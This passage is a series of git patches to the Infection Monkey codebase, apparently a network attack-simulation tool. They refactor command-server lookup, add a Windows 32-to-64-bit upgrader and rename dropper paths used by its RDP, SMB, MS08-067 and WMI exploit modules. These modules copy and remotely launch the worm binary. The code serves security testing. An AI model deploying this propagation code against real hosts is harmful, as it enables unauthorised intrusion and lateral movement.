os.subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f9a7d80d2..f558eb8dc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -446,6 +446,13 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, + "dropper_upgrade_win_64_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 355a75feeff0e52c8b67932bb69b6c8bccff9570 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:21:44 +0200 Subject: [PATCH 10/92] seperate the wakeup and server lookup processes --- infection_monkey/control.py | 57 ++++++++++++++++++++++--------------- infection_monkey/monkey.py | 3 +- 2 files changed, 36 insertions(+), 24 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index e7fb4cebb..8d14766c6 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -24,10 +24,10 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, default_tunnel=None, has_internet_access=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) - if parent or default_tunnel: - LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel)) + def wakeup(parent=None, has_internet_access=None): + if parent: + LOG.debug("parent: %s" % (parent,)) + hostname = gethostname() if not parent: parent = GUID @@ -35,31 +35,43 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'internet_access': has_internet_access, + 'config': WormConfiguration.as_dict(), + 'parent': parent} + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') + + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies, + timeout=20) + + @staticmethod + def find_server(default_tunnel=None): + LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + if default_tunnel: + LOG.debug("default_tunnel: %s" % (default_tunnel,)) + for server in WormConfiguration.command_servers: try: WormConfiguration.current_server = server - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} - - if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') - debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + # TODO: use different api call to check connectivity. + requests.get("https://%s/api/monkey" % (server,), + verify=False, + proxies=ControlClient.proxies) + break except Exception as exc: @@ -74,7 +86,7 @@ class ControlClient(object): proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) + ControlClient.find_server() else: LOG.info("No tunnel found") @@ -234,7 +246,6 @@ class ControlClient(object): data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index b05d94fd4..19a456cff 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -76,7 +76,8 @@ class InfectionMonkey(object): if firewall.is_enabled(): firewall.add_firewall_rule() - ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) + ControlClient.find_server(default_tunnel=self._default_tunnel) + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: From e30e9c8b83c8c4f1e2c2033260e785f7ad9a07d9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:23:54 +0200 Subject: [PATCH 11/92] Upgrade after finding server --- infection_monkey/monkey.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 19a456cff..6e0932ff2 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -68,15 +68,16 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): - if WindowsUpgrader.should_upgrade(): - WindowsUpgrader.upgrade(self._opts) - return - LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.find_server(default_tunnel=self._default_tunnel) + + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() From bbdebb12681ddb5f8f9df2d071ce9fcf4e648906 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:24:40 +0200 Subject: [PATCH 12/92] Fix various bugs --- infection_monkey/windows_upgrader.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 1c6049cfd..d2c5aee31 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,5 +1,6 @@ import os import struct +import subprocess import sys import monkeyfs @@ -42,12 +43,14 @@ class WindowsUpgrader(object): with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) + depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, int(opts.depth)) + opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options - monkey_process = os.subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, - close_fds=True, creationflags=DETACHED_PROCESS) + 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + print monkey_cmdline + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) From 15b9ef1565bcb4edeeec45589c47c96b24b73578 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:26:14 +0200 Subject: [PATCH 13/92] Remove destination path if it exists (mostly for windows upgrade) Fix minor bug in dropper --- infection_monkey/dropper.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 3e0a8bff5..927ea7cf6 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -58,6 +58,9 @@ class MonkeyDrops(object): # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + if not file_moved and os.path.exists(self._config['destination_path']): + os.remove(self._config['destination_path']) + # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: @@ -105,8 +108,9 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") + depth = int(self.opts.depth) if self.opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + self.opts.parent, self.opts.tunnel, self.opts.server, depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options From 260607b6858dc2b98cb3ab0a1672644e221aac7c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 18:26:31 +0200 Subject: [PATCH 14/92] Use dedicated api to determine server is running --- infection_monkey/control.py | 4 +--- monkey_island/cc/resources/root.py | 7 ++++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 8d14766c6..12f0cb754 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -67,11 +67,9 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - # TODO: use different api call to check connectivity. - requests.get("https://%s/api/monkey" % (server,), + requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) - break except Exception as exc: diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 04129f257..865d99dce 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -15,7 +15,6 @@ __author__ = 'Barak' class Root(flask_restful.Resource): - @jwt_required() def get(self, action=None): if not action: action = request.args.get('action') @@ -26,21 +25,26 @@ class Root(flask_restful.Resource): return Root.reset_db() elif action == "killall": return Root.kill_all() + elif action == "is-up": + return {'is-up': True} else: return make_response(400, {'error': 'unknown action'}) @staticmethod + @jwt_required() def get_server_info(): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) @staticmethod + @jwt_required() def reset_db(): [mongo.db[x].drop() for x in ['config', 'monkey', 'telemetry', 'node', 'edge', 'report']] ConfigService.init_config() return jsonify(status='OK') @staticmethod + @jwt_required() def kill_all(): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, @@ -48,6 +52,7 @@ class Root(flask_restful.Resource): return jsonify(status='OK') @staticmethod + @jwt_required() def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() From abd738acbc25faeab4775203fb59af8bc479f2c7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:01:42 +0200 Subject: [PATCH 15/92] Change config value name Add logs --- infection_monkey/config.py | 8 ++++++-- infection_monkey/example.conf | 2 +- infection_monkey/monkey.py | 1 + infection_monkey/windows_upgrader.py | 17 ++++++++++++++--- monkey_island/cc/services/config.py | 16 ++++++++-------- 5 files changed, 30 insertions(+), 14 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 633534b84..0ee609cac 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,10 +116,14 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" - # TODO: move and rename - dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + ########################### + # Windows upgrader config + ########################### + + windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + ########################### # Kill file ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3ebe3f122..8acf8729f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,7 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", - "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", + "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 6e0932ff2..0ca85b6b8 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -75,6 +75,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index d2c5aee31..994a17f96 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,8 +1,11 @@ +import logging import os import struct import subprocess import sys +import time + import monkeyfs from config import WormConfiguration from control import ControlClient @@ -11,6 +14,8 @@ from model import DROPPER_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' +LOG = logging.getLogger(__name__) + if "win32" == sys.platform: from win32process import DETACHED_PROCESS else: @@ -40,7 +45,7 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None else None @@ -48,9 +53,15 @@ class WindowsUpgrader(object): opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options - print monkey_cmdline monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) + + LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, monkey_cmdline) + + time.sleep(3) + if monkey_process.poll() is not None: + LOG.warn("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f558eb8dc..981319db4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,7 +350,14 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "windows_upgrader_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, } }, "classes": { @@ -446,13 +453,6 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, - "dropper_upgrade_win_64_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 784e3839595a6a0260efc5fc926bc979569d8e9d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:38:05 +0200 Subject: [PATCH 16/92] Check if should upgrade only once Don't send state-done telemetry if upgrading --- infection_monkey/monkey.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 0ca85b6b8..9e2d54fd1 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -36,6 +36,7 @@ class InfectionMonkey(object): self._default_server = None self._depth = 0 self._opts = None + self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") @@ -75,6 +76,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return @@ -225,7 +227,8 @@ class InfectionMonkey(object): self._keep_running = False # Signal the server (before closing the tunnel) - ControlClient.send_telemetry("state", {'done': True}) + if not self._upgrading_to_64: + ControlClient.send_telemetry("state", {'done': True}) # Close tunnel tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] @@ -235,11 +238,11 @@ class InfectionMonkey(object): firewall.close() - if not WindowsUpgrader.should_upgrade(): + if not self._upgrading_to_64: self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): + and -1 == sys.executable.find('python') and not self._upgrading_to_64: try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From 72fd9304993feb72e94a94793a5d453512df6896 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:54:10 +0200 Subject: [PATCH 17/92] unlock singleton before upgrade --- infection_monkey/monkey.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 9e2d54fd1..a38d04dde 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -77,6 +77,7 @@ class InfectionMonkey(object): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True + self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return From ee23703bfa4b6d48ee55959b2132f78a2382c94b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:05:43 +0200 Subject: [PATCH 18/92] Monkey now uses different names for 32,64bit on windows. No need to use dropper or rename moneky --- infection_monkey/config.py | 11 +++++------ infection_monkey/example.conf | 4 ++-- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/windows_upgrader.py | 10 +++++----- monkey_island/cc/services/config.py | 21 ++++++++++----------- 8 files changed, 34 insertions(+), 36 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 0ee609cac..42140172f 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,6 +9,7 @@ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -115,14 +116,12 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - ########################### - # Windows upgrader config - ########################### - - windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + def get_dropper_target_path_win(self): + return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 ########################### # Kill file diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 8acf8729f..9cc036981 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -22,8 +22,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path": "C:\\Windows\\monkey.exe", - "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index 606f44f90..fb4d0f32d 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index b76a7bce6..717810bf9 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index 51393ea69..b29012d47 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 1a77a7347..0db4be6ef 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 994a17f96..c63b64524 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ import monkeyfs from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly -from model import DROPPER_CMDLINE_WINDOWS +from model import MONKEY_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' @@ -45,15 +45,15 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) + opts.parent, opts.tunnel, opts.server, depth) - monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 981319db4..3001ed768 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,14 +350,7 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - }, - "windows_upgrader_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, + } } }, "classes": { @@ -447,10 +440,16 @@ SCHEMA = { "default": "/tmp/monkey", "description": "Determines where should the dropper place the monkey on a Linux machine" }, - "dropper_target_path": { - "title": "Dropper target path on Windows", + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey.exe", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, "dropper_try_move_first": { From a37ef027727c3fd9fb61f9344a99115e058d6520 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:21:01 +0200 Subject: [PATCH 19/92] Fix mutual import --- infection_monkey/config.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 42140172f..dfd349473 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -1,15 +1,15 @@ import os +import struct import sys import types import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange -from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -120,8 +120,12 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + @staticmethod + def is_64_bit_python(): + return struct.calcsize("P") == 8 + def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 + return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 ########################### # Kill file From 450f3ed3be59c2f59d6cf268963c2beffd5acc4a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:50:35 +0200 Subject: [PATCH 20/92] Use 32bit as default path --- infection_monkey/config.py | 7 ------- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/monkey.py | 2 +- 6 files changed, 13 insertions(+), 20 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index dfd349473..404dc194e 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -120,13 +120,6 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - @staticmethod - def is_64_bit_python(): - return struct.calcsize("P") == 8 - - def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 - ########################### # Kill file ########################### diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index fb4d0f32d..d95bd74ba 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': 